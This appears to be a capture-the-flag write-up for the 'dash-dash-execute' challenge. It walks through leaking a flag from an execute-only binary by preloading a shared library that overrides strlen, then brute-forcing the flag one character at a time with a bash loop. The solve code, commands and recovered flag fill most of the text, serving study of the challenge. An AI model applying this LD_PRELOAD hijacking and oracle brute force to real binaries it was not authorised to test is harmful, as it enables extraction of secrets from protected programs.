---
# System prepended metadata

title: Untitled

---

# [--x](https://play.camp.allesctf.net/tasks/dash-dash-execute)
Category: Misc
Difficulty: Easy
Author: Flo
First Blood: sf

Did you know that you can mark executables as non-readable? Check out /usr/bin/flagcheck for an example.

Challenge Files:flagcheck.c

## first inspection

the content of the `flagcheck.c` is following:

```c 
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
#include <sys/param.h>

#ifndef FLAG
#define FLAG "ALLES!{testflag}"
#endif

bool test_flag(char *inp)
{
	bool res = true;
	int n = MIN(strlen(FLAG), strlen(inp));
	for (int i = 0; i <= n; i++)
		res &= FLAG[i] == inp[i];
	return res;
}

int main(int argc, char **argv)
{
	if (argc < 2)
	{
		printf("usage: flagcheck FLAG\n");
		return 1;
	}
	if (test_flag(argv[1]))
		printf("correct!\n");
	else
		printf("wrong :(\n");
}
```

As it seems, `test_flag` is safe to use. But we might preload and therefore overwrite `strlen`, to just print the provided strings:

```c
#include <stdio.h>

size_t strlen(const char *s) {
  puts(s);
  return 0;
}
```

Sounds good, doesnt work: https://stackoverflow.com/questions/3437404/min-and-max-in-c

Compile it with:

```bash
gcc -shared -fPIC -o preloadme.so preloadme.c
```

When preloading the shared object, we get both:

```
$ LD_PRELOAD=./preloadme.so ./a.out A
A
A
correct!3
```

![](https://hackmd.io/_uploads/HJzuisqhh.png)

But there were multiple issues. The `strlen(FLAG` call seems to be inlined. It does not print the flag, but only `argv[1]`.

In the end we could "set" the length for the string comparison:

```c
#include <stdio.h>
#include <stdlib.h>


size_t strlen(const char *s) {
  //for (int i = -10000; i < 0; i++) {
  //  printf("%08x", *(s + i));
  //}
  //exit(30);
  //sleep(1000);
  const char* len = getenv("LEN");
  return atoi(len);
}
```

calling it this way:

```bash
LEN=6 LD_PRELOAD=./preloadme.so ./a.out 'ALLES!{'
```

This way, we can write a bash function:

```bash

function next_correct_char() {
    prefix=$1
    length=$(echo -n $prefix | wc -c)
    for i in {32..127}; do 
      LEN=$length LD_PRELOAD=./preloadme.so flagcheck $(printf "$prefix\x$(printf %x $i)") | grep correct; 
      [ $? -eq 0 ] && { 
          echo $(printf "\x$(printf %x $i)")
          return 0;
      }
    done
    return 1
}

prefix=ALLES
while true; do
    next_char=$(next_correct_char "$prefix")
    [ $? -eq 1 ] && break
    prefix="${prefix}${next_char}"
    echo $prefix 
done

```

But this didnt work, so we used `next_correct_char` by hand:

![](https://hackmd.io/_uploads/SJO3Rh9nn.png)

`ALLES!{surprisingly_similar_to_setuid_processes_but_not_actually_secure}`

After scoring, we fixed the code:

```bash
function next_correct_char() {
    prefix=$1
    length=$(echo -n $prefix | wc -c)
    for i in {32..127}; do 
      LEN=$length LD_PRELOAD=./preloadme.so ./flagcheck $(printf "$prefix\x$(printf %x $i)") | grep correct >/dev/null; 
      [ $? -eq 0 ] && { 
          echo $(printf "\x$(printf %x $i)")
          return 0;
      }
    done
    return 1
}

prefix=ALLES
while true; do
    next_char=$(next_correct_char "$prefix")
    [ $? -eq 1 ] && break
    prefix="${prefix}${next_char}"
    echo $prefix 
done

```

A solution from sweetshark, implemented in C:

```c
#include <stdio.h>
#include <string.h>

int test(const char* testtxt, size_t len)
{
	const char* secret = "ALLES!{foobarbaz";
	return strncmp(testtxt, secret, len) == 0;
}

int find_char(const char* pBuf, char* pCurrent)
{
	*pCurrent=0;
	if(test(pBuf, pCurrent-pBuf+1))
		return 1; // finished
	for(char c=32;c<128;++c)
	{
		*pCurrent=c;
		if(test(pBuf, pCurrent-pBuf+1))
			return 0;
	}			
}

int main(int argc, char**)
{
	
	char buf[10000];
	char* pBuf = &buf[0];
	char* pCurrent = pBuf;
	while(!find_char(pBuf, pCurrent))
		++pCurrent;
	printf("%s\n", pBuf);
}

````